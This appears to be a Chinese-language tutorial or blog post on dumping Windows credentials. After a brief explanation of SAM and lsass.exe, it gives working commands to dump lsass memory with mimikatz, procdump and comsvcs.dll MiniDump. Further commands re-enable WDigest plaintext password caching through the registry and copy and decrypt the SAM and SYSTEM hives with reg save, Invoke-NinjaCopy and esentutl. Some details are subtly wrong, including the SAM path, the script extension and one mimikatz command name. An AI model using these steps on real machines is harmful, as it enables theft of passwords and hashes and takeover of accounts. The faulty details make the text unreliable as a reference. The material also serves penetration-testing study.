文章目录
在windows中,SAM文件是windows用户的账户数据库,位于系统的%SystemRoot%\System\Config
目录中,所有本地用户的用户名、密码hash等信息都存储在这个文件中。用户输入密码登录时,用户输入的明文密码会被转化为hash,然后再与SAM文件中的hash值对比,若相同,则认证成功。lsass.exe
是windows的一个系统进程,用于实现系统的安全机制,主要用于本地安全和登录策略。在通常情况下,用户输入密码登录后,登录的域名、用户名和登录凭据等信息会存储在lsass.exe
的进程空间中,用户的明文密码经过WDigest
和Tspkg
模块调用后,会对其使用可逆的算法进行加密并存储在内存中。
用来获取主机的用户密码和hash的工作大多通过读取SAM文件或者访问lsass.exe
进程的内存数据等操作来实现。这些操作大多需要管理员权限
windows的登陆机制为单点登录,用户只需要输入一次密码,就可以使用所有需要身份验证的程序。具体来说,用户第一次凭据验证通过后,windows会将凭据放在lsass.exe
(本地安全验证)进程的内存中,随后当其他进程需要验证用户身份时,该进程会帮助用户完成认证。
一、在线读取lsass进程内存
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
# privilege::debug:提升至Debugprivlege权限
# sekurlsa::logonpasswords full:从lsass.exe中提取凭证
如果出现以下错误,需要用管理员身份打开cmd命令行。
如果目标机器安装了KB2871997补丁,该补丁禁止WDigest
在内存中存储明文密码。
# 查询UseLogonCredential的值,为1代表系统记录明文密码;为0代表不几流明文密码
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
# 开启密码记录功能,开启之后
reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1
二、离线读取lsass.exe进程内存
除了在线读取外,还可以直接将lsass.exe
的进程内存转存,将内存文件导出到本地后,使用mimikatz.exe进行离线读取。
2.1 直接在进程管理器中生成指定程序的转储文件
使用mimikatz.exe
解密转储文件
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit
# sekurlsa::minidump lsass.dump:加载转储文件
# sekurlsa::logonpasswords full:导出用户凭证
2.2 ProcDump转储
这里使用procdump实现离线转存。
procdump.exe -accepteula -ma lsass.exe lsass.dmp # 将lsass.exe进程转存
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full" exit
# sekurlsa::minidump lsass.dump:加载转储文件
# sekurlsa::logonpasswords full:导出用户凭证
2.3 使用Comsvcs.dll获取转储文件
Comsvcs.dll
是windows自带的DLL文件,它包含一个名为MiniDump
的函数,而该函数在底层调用了MiniDumpWriteDump
接口,该接口可以创建指定进程的转储文件。
1、转储时需要指定Lsass
进程的PID,执行下面的命令获取lsass.exe
进程的PID。
tasklist | findstr /i lsass
2、需要保证当前会话已经启用SeDebugPrivilege
特权,cmd本身会禁用该特权,powershell默认开启。
# 判断cmd是否开启
whoami /priv | findstr SeDebugPrivilege
# 判断powershell是否开启
powershell whoami /priv | findstr SeDebugPrivilege
3、生成lsass进程的转储文件
powershell rundll32.exe comsvcs.dll,MiniDump 484 C:\lsass.dmp full
三、在线读取本地SAM文件
SAM文件中所保存的用户凭据并非明文存储,而是通过SysKey
(SAM锁定工具)加密。使用下面的命令读取SAM文件中保存的用户hash凭证,注意是当前系统中本地用户的hash。
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" exit
# privilege::debug:提升至SeDebugprivlege权限
# token::elevate:提升到system权限
# lsadump::sam:读取本地sam文件,并使用SysKey进行解密
四、离线读取本地SAM文件
离线读取就是将SAM文件导出,使用mimikatz
加载并读取其中用户的登录凭证等信息。注意:为了提高SAM文件的安全性以防止被离线破解,windows会对SAM文件使用密钥进行加密,这个密钥存储在SYSTEM
文件中,与SAM文件在同一目录下。
4.1 利用powershell获取sam文件
通过Invoke-NinjaCopy.psl脚本实现
在目标主机上导出SAM和SYSTEM文件,因为系统在运行时,这两个文件被锁定,可以使用PowerSploit项目中的Invoke-NinjaCopy.psl
脚本实现。
管理员身份启动powershell,在域环境中需要域管理员密码才能启动。
Import-Module .\Invoke-NinjaCopy.psl
Invoke-NinjaCopy -Path "C:\Windows\System32\config\sam" -LocalDestination C:\Temp\SAM
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination C:\Temp\SYSTEM
出现以下错误,运行
Set-ExecutionPolicy Unrestricted -Scope CurrrentUser
。
# 使用mimikatz加载并读取SAM中的用户凭证信息
mimikatz.exe "lsadump::sam /sam:C:\SAM /system:C:\SYSTEM" exit
4.2 利用注册表获取sam文件
需要管理员权限
# 使用管理员权限,通过保存注册表的方式导出
reg save HKLM\SAM sam.hive
reg save HKLM\SYSTEM system.hive
# 使用mimikatz加载并读取SAM中的用户凭证
mimikatz.exe "lsadump::sam /sam:sam.hive /system:system.hive" exit
# 或者用kali自带samdumpe进行解密
samdump2 system.hive sam.hive
4.3 利用Esentutl获取sam文件
版本要求:windows 10、windows server 2016及以上版本
esentutl.exe
是windows自带的命令行程序,专门用来做数据库维护以及进行数据库恢复操作。
# 导出SAM文件和SYSTEM文件
esentutl.exe /y /vss C:\Windows\System32\config\System /d system
esentutl.exe /y /vss C:\Windows\System32\config\SAM /d sam
# 导入mimikatz
sadump::sam /sam:sam /system:system
没装Win 10虚拟机,没敢在自己电脑试~